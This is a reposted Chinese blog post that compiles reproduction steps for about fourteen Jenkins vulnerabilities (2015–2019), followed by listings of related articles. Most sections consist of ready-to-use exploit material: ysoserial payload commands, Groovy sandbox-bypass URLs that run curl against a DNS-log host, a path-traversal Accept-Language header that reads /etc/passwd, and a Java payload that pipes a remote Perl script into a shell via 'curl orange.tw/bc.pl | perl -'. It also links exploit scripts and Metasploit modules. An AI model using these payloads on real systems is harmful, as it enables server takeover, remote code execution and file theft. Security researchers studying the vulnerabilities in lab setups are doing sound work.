jenkins 漏洞集合 简介

最新推荐文章于 2024-08-04 22:58:41 发布
最新推荐文章于 2024-08-04 22:58:41 发布
阅读量1.6w 收藏 11
点赞数 5
原文链接：https://blog.csdn.net/whatday/article/details/106544050
版权

目录

CVE-2015-8103 反序列化远程代码执行

CVE-2016-0788 Jenkins CI和LTS 远程代码执行漏洞

CVE-2016-0792 低权限用户命令执行

CVE-2016-9299 代码执行

CVE-2017-1000353 Jenkins-CI 远程代码执行

CVE-2018-1000110 用户枚举

CVE-2018-1000861 远程命令执行

CVE-2018-1999002 任意文件读取

CVE-2018-1000600 Jenkins GitHub 信息泄露

CVE-2019-1003000 远程代码执行

CVE-2019-1003005 远程代码执行

CVE-2019-1003029 Script Security Plugin沙箱绕过

CVE-2019-10392 Jenkins Git 插件命令执行

CVE-2019-10352 任意文件写入

复现文章和脚本大都是网上收集，大部分能找到出处的，个别找不到明确的地址。

CVE-2015-8103 反序列化远程代码执行

1.638之前的Jenkins和1.625.2之前的LTS中的Jenkins CLI子系统，允许远程攻击者通过制作的序列化Java对象执行有问题的commons-collections。

利用脚本：https://github.com/LeoHuang2015/jenkins-cli-exploit

执行后有类似如下反应：

image-20200327115239320

还可以使用msf中的模块exploit/linux/misc/jenkins_java_deserialize来执行攻击反弹shell。

CVE-2016-0788 Jenkins CI和LTS 远程代码执行漏洞

CloudBeesJenkinsCI1.650之前版本和LTS1.642.2之前版本的remoting模块中存在安全漏洞。远程攻击者可通过打开JRMP监听程序利用该漏洞执行任意代码。

利用需要X-Jenkins-CLI2-Port对应的端口，如果Jenkins无法获取CLI版本2的端口标头“ X-Jenkins-CLI2-Port”，它会退回到版本1。

利用ys生成二进制文件：java -jar ysoserial.jar CommonsCollections3 "curl http://r9rub4.ceye.io/" > payload.bin

利用脚本：https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/jenkins.py

发送的二进制文件实际上是十六进制的(<===[JENKINS REMOTING CAPACITY]===>)与其后base64的编码构成。使用类似反应如下：

image-20200327121322560

CVE-2016-0792 低权限用户命令执行

影响版本：jenkins小于 1.650

利用脚本：https://github.com/jpiechowka/jenkins-cve-2016-0792

执行后类似如下

image-20200327120724417

CVE-2016-9299 代码执行

2.32之前的Jenkins和2.19.3之前的LTS中的远程处理模块允许远程攻击者通过精心制作的序列化Java对象执行任意代码，从而触发对第三方服务器的LDAP查询。

关于这个漏洞的分析和代码利用，已经有详细的分析文章：https://paper.seebug.org/199/

msf有成熟的利用模块：exploit/linux/misc/jenkins_ldap_deserialize

CVE-2017-1000353 Jenkins-CI 远程代码执行

影响版本：Jenkins<=2.56。Jenkins LTS <= 2.46.1

下载pochttps://github.com/vulhub/CVE-2017-1000353

执行生成字节码文件。

java -jar CVE-2017-1000353-SNAPSHOT-all.jar jenkins_poc.ser "curl http://xxx.ceye.io"

利用py文件来进行发送

python exploit.py http://x.x.x.x:8080 jenkins_poc.ser

会有如下反应

image-20200325165630218

CVE-2018-1000110 用户枚举

模糊搜索：http://x.x.x.x:8080/search/?q=a

image-20200325165813965

http://x.x.x.x:8080/search/suggest?query=a

image-20200325165911492

如果git插件小于3.7，也可以使用如下

http://x.x.x.x:8080/git/search/?q=a

http://x.x.x.x:8080/git/search/suggest?query=a

CVE-2018-1000861 远程命令执行

可以使用如下的一键化脚本

https://github.com/orangetw/awesome-jenkins-rce-2019

也可以自定义发送请求

http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl http://xxx.ceye.io/CVE-2018-1000861".execute()}}

页面返回空白，响应为

image-20200325171107715

如果使用脚本，则同样效果

image-20200325171239538

还可以使用的POC，使用会提示错误信息，但命令已执行。

/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7bassert+java.lang.Runtime.getRuntime().exec("curl http://xxx.ceye.io/CVE-2018-1000861")%7d)%0aclass+Person%7b%7d
/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7b+"curl http://xxx.ceye.io/CVE-2018-1000861".execute().text+%7d)%0aclass+Person%7b%7d

环境搭建

参考：https://vulhub.org/#/environments/jenkins/CVE-2018-1000861/

执行如下命令启动一个Jenkins 2.138，包含漏洞的插件也已经安装：

docker-compose up -d

环境启动后，访问http://your-ip:8080即可看到一个已经成功初始化的Jenkins，无需再进行任何操作。

漏洞复现

使用 @orangetw 给出的一键化POC脚本，发送如下请求即可成功执行命令：

http://your-ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript
?sandbox=true
&value=public class x {
  public x(){
    "touch /tmp/success".execute()
  }
}

/tmp/success已成功创建：

 

CVE-2018-1999002 任意文件读取

影响版本：Jenkins weekly 2.132 以及更早的版本。Jenkins LTS 2.121.1 以及更早的版本

可以读取Windows系统服务器中的任意文件，且在特定而条件下也可以读取Linux系统服务器中的文件.

详情：https://xz.aliyun.com/t/2486

结合payload来看，我们请求的url为/plugin/credentials/.ini，则base为空，扩展名（ext变量）即为.ini，然后通过一系列的尝试openURL，在此例中即最后一个情形con = openURL(map(base+'_'+ locale.getLanguage()+ext));，会去请求_../../../../../../../../../../../../windows/win.ini ，尽管目录_..并不存在，但在win下可以直接通过路径穿越来绕过。但在linux，则需要一个带有_的目录来想办法绕过。

需要已经开启了匿名用户读取权限，在请求头中添加

 

Accept-Language: /../../../../../../../../etc/passwd

处理请求中的包含路径，比如/plugin/xxxx，可以尝试

 

/plugin/jquery-detached/.xml

/plugin/jquery-detached/.key

/plugin/credentials/.ini

在Windows下这么使用

GET /plugin/credentials/.ini HTTP/1.1
Host: x.x.x.x:8080
Accept: text/javascript, text/html, application/xml, text/xml, */*
X-Prototype-Version: 1.7
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36
Origin: http://x.x.x.x:8080
Referer: http://x.x.x.x:8080/
Accept-Encoding: gzip, deflate
Accept-Language: /../../../../../../../../etc/passwd
Cookie: JSESSIONID.450017e3=x6kdpnkcgllh18wvlaohsqq8z; screenResolution=1920x1080; JSESSIONID.ccf0cd96=node09crp5bs5eglyrv874no3w48l0.node0; JSESSIONID.6551b177=14vcq2nsop6bw1u8urepj65kwv; td_cookie=1608956971
Connection: close

CVE-2018-1000600 Jenkins GitHub 信息泄露

影响版本：Jenkins GitHub插件小于1.29.1

利用的POC为，其中user1为用户名。

/securityRealm/user/user1/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://xxx.ceye.io

执行后显示

image-20200326173809956

查看DNSlog回显

image-20200326173837239

CVE-2019-1003000 远程代码执行

实际影响版本及编号：CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)

拥有Overall/Read 权限的用户可以绕过沙盒保护，在jenkins可以执行任意代码。此漏洞需要一个账号密码和一个存在的job。受影响插件版本：Pipeline: Declarative 插件 <= 1.3.4。Pipeline: Groovy 插 件 <= 2.61。Script Security 插 件 <= 1.49。

下载环境和利用代码：https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git

执行利用后显示

image-20200326112837107

我们的job中也被添加了如下

image-20200326112903149

CVE-2019-1003005 远程代码执行

受影响版本：

  1. Jenkins 2.53
  2. Jenkins 2.122
  3. Jenkins 2.137
  4. Jenkins 2.138 启用匿名读取
  5. Jenkins 2.152 启用匿名读取
  6. Jenkins 2.153 启用匿名读取
  7. Script Security Plugin 1.43
  8. Script Security Plugin 1.48

下载利用脚本：https://github.com/orangetw/awesome-jenkins-rce-2019

构建环境后，执行脚本如下

image-20200326124130037

显示如下

image-20200326124151396

当然如果不想使用这种一键式脚本还可以自己构造jar来利用

创建Payload.java

public class Payload {
	public Payload(){
		try {
			String payload = "curl orange.tw/bc.pl | perl -";
			String[] cmds = {"/bin/bash", "-c", payload};
			java.lang.Runtime.getRuntime().exec(cmds);
		} catch (Exception e) { }

	}
}

编译文件，创建META-INF/services/文件夹，同时在文件夹下创建名为org.codehaus.groovy.plugins.Runners的文件。内容随意，比如Payload

文件创建后，在某一目录下，文件树类似如下：

image-20200327093359850

编译以上目录jar cvf poc-1.jar code/

将编译产生的文件移动到类似如下地址cp poc-1.jar ~/www/code/payload/poc/1/

将www目录移动到web服务器中，地址类似：http://xxx.com/code/payload/poc/1.poc-1.jar

利用如下exp

http://<TARGET HOST>/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='payload', root='http://<EXPLOIT HOST>')%0a
@Grab(group='package', module='payload', version='1')%0a
import Payload;

CVE-2019-1003029 Script Security Plugin沙箱绕过

此漏洞和CVE-2019-1003005漏洞同样都是由Script Security插件引起。利用方式和上一致。影响版本1.55以下。

CVE-2019-10392 Jenkins Git 插件命令执行

之前做过这个漏洞的复现，地址：https://misakikata.github.io/2019/09/CVE-2019-10392-Jenkins-2k19%E8%AE%A4%E8%AF%81%E8%BF%9C%E7%A8%8BRCE/

CVE-2019-10352 任意文件写入

该漏洞使经过身份验证的具有Job/Configure权限的攻击者可以使用目标之外的文件名定义文件参数，从而导致任意文件写入。

创建一个名为test的新“自由式项目”（该项目的工作空间将位于JENKINS_HOME/workspace/test）

 

 

whatday
关注
jenkins漏洞
计算机毕业论文源码，学生个人网页制作html源码。贴近用户做网络推广和互联网优化。
03-13 1568
jenkins漏洞概述，Jenkins是一个开源软件项目，它是基于Java开发的一种持续集成工具，用于监控持续重复的工作，旨在提供一个开放易用的软件平台，使软件项目可以进行持续集成。 3月9日，启明星辰VSRC监测到Jenkins官方发布安全公告，修复了Jenkins Server和Update Center中发现的2个跨站脚本漏洞（CVE-2023-27898和CVE-2023-27905，统称为“CorePlague”）。未经身份验证的威胁者可利用这些漏洞在受害者的 Jenkins Server上执
java反序列化漏洞修复_【修复总结】JAVA反序列化
weixin_36413157的博客
03-08 2811
威胁说明如果Java应用对用户输入，即不可信数据做了反序列化处理，那么攻击者可以通过构造恶意输入，让反序列化产生非预期的对象，非预期的对象在产生过程中就有可能带来任意代码执行。问题原因类ObjectInputStream在反序列化时，没有对生成的对象的输入做限制，使攻击者利用反射调用函数进行任意命令执行。CommonsCollections组件中对于集合的操作存在可以进行反射调用的方法问题根源Ap...
漏洞分析｜死磕Jenkins漏洞回显与利用效果
m0_46699477的博客
06-28 1324
本文以 Jenkins 反序列化漏洞作为优化案例，分享我们的解决漏洞问题的方式。
Jenkins未授权访问漏洞
最新发布
qq_68186313的博客
08-04 359
默认情况下 Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令，攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务，通过脚本执行界面从而获取服务器权限。二:在打开的URL中.点击 Manage Jenkins–>Scritp Console 在执行以下命令。一、使用以下fofa语法进行产品搜索。Jenkins未授权访问漏洞。
jenkins漏洞集合
SHELLCODE_8BIT的博客
03-01 4662
复现文章和脚本大都是网上收集，大部分能找到出处的，个别找不到明确的地址。
jenkins未授权访问漏洞总结
qq_45746681的博客
10-05 612
jenkins未授权访问漏洞复现 0x00 漏洞描述 未授权访问管理控制台,可以通过脚本命令行执行系统命令。通过该漏洞,可以后台管理服务,通过脚本命令行功能执行系统命令,如反弹shell,wget写webshell文件。 0x01 漏洞环境搭建（win10） 官方下载jenkins-1.620.zip,下载地址:http://mirrors.jenkins.io 运行setup.exe，安装即可，安装成功后在任务管理器中运行jenkins服务 之后访问http://localhost:8080即可 0x0
jenkins2.289.1版本远程命令执行漏洞
山兔的博客
11-13 2985
在网络安全行业中，有一种方法可以识别、定义和编目公开披露的漏洞。这种类型的标识称为CVE，代表常见漏洞和披露。分析后，为每个漏洞分配一个严重等级，称为 CVSS 分数，范围从 0 到 10，其中 0 表示信息，10 表示严重。这些分数取决于几个因素，其中一些是 CIA 的危害级别（机密性、完整性、可用性）、攻击复杂程度、攻击面的大小等。在计算机安全中，任意代码执行 （ACE） 是攻击者在目标计算机或目标进程中执行任意命令或代码的能力。[…]旨在利用此类漏洞的程序称为任意代码执行漏洞。
jenkins老版本资源
11-09
这个压缩包文件集合提供了 Jenkins 的老版本及其相关资源，这对于那些需要维护旧项目或者希望在特定环境中复现旧版本行为的开发者来说非常有价值。 1. Jenkins 老版本的重要性：Jenkins 的每个版本都有可能包含新的...
jenkins-plugins.tar.gz
05-10
"jenkins-plugins.tar.gz" 文件则是一个包含多个 Jenkins 插件的压缩包，用于安装和更新 Jenkins 的插件集合。 在描述中提到的操作步骤是将解压后的文件内容复制到 `/var/lib/jenkins/plugins` 目录下，这是在 ...
java反序列化漏洞挖掘
qq_45001989的博客
09-08 1165
java反序列化漏洞挖掘 1.漏洞触发场景 在java编写的web应用与web服务器间java通常会发送大量的序列化对象例如以下场景： 　　1)HTTP请求中的参数，cookies以及Parameters。 　　2)RMI协议，被广泛使用的RMI协议完全基于序列化 　　4)JMX 同样用于处理序列化对象 　　5)自定义协议 用来接收与发送原始的java对象 漏洞挖掘 　　(1)确定反序列化输入点 　　　　首先应找出readObject方法调用，在找到之后进行下一步的注入操作。一般可以通过以下方法进行查找：
测试大集合
08-02
Jenkins、GitLab CI/CD等工具是实现这一目标的重要支持。 9. **性能测试**：评估系统在高负载和压力下的性能，包括负载测试（模拟正常、高峰和超负荷情况）、压力测试（找出系统崩溃点）和耐久测试（长时间运行测试...
漏洞分析｜死磕Jenkins漏洞回显与利用效果_jenkins 漏洞
2401_84297265的博客
04-29 850
【代码】漏洞分析｜死磕Jenkins漏洞回显与利用效果_jenkins 漏洞。
【Jenkins】未授权访问漏洞
qq_50854662的博客
07-08 1844
【Jenkins】未授权访问漏洞
Jenkins跨站脚本漏洞
VoiceRoom的博客
03-09 811
CVE-2023-27898
[应用漏洞]Jenkins
不忘初心，护天下安全！
08-09 535
挖漏洞又遇到了，暂且把待学习的文章写一下，等不及我消化的童鞋直接看链接吧： https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/ https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861 ...
Jenkins 披露插件中未修复的XSS、CSRF等18个0day漏洞
smellycat000的专栏
08-04 881
聚焦源代码安全，网罗国内外最新资讯！编译：代码卫士开源 DevOps 平台 Jenkins 提醒用户，注意十几款插件中的未修复漏洞。Jenkins 是领先的开源自动化服务器，提供数千个插件支持、部署和自动化项目。Jenkins 最新安全公告列出27个插件漏洞，其中5个漏洞为高危漏洞，这些漏洞多数并未修复。五个严重漏洞在这五个高危漏洞中，第一个是位于 Coverity 插...
一款Jenkins的综合漏洞利用工具-JenkinsExploit-GUI
siu~
03-15 1875
一款Jenkins的综合漏洞利用工具
jenkins 漏洞如何排查
02-01
Jenkins是一个开源的持续集成和交付工具，它提供了丰富的功能和插件来帮助开发团队自动化构建、测试和部署软件项目。然而，由于Jenkins的广泛使用和开放的插件生态系统，可能存在一些安全漏洞。下面是一些排查Jenkins漏洞的常见方法： 1. 定期更新Jenkins和插件：及时更新Jenkins和其插件是防止漏洞利用的重要步骤。Jenkins官方会发布安全更新，你可以通过Jenkins的管理界面或者命令行工具进行更新。 2. 审查Jenkins日志：Jenkins会生成详细的日志记录，包括构建过程、插件使用等信息。通过审查日志，你可以发现异常行为或者异常请求，从而判断是否存在漏洞。 3. 使用安全扫描工具：可以使用一些专门的安全扫描工具来扫描Jenkins服务器，以发现潜在的漏洞。例如，可以使用OWASP ZAP、Nessus等工具进行漏洞扫描。 4. 配置访问控制：确保Jenkins的访问权限设置正确，只有授权的用户可以访问和执行敏感操作。可以使用Jenkins提供的RBAC（Role-Based Access Control）插件来管理用户权限。 5. 审查插件的安全性：Jenkins的插件生态系统非常丰富，但并不是所有插件都是安全可靠的。在选择和使用插件时，要注意查看插件的评级、下载量、最近更新时间等信息，选择受信任的插件。 6. 监控系统行为：通过监控Jenkins服务器的系统行为，例如网络流量、CPU和内存使用情况等，可以及时发现异常活动或者资源消耗异常的情况。 7. 参考安全建议和最佳实践：Jenkins官方提供了一些安全建议和最佳实践，可以参考官方文档来加强Jenkins的安全性。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值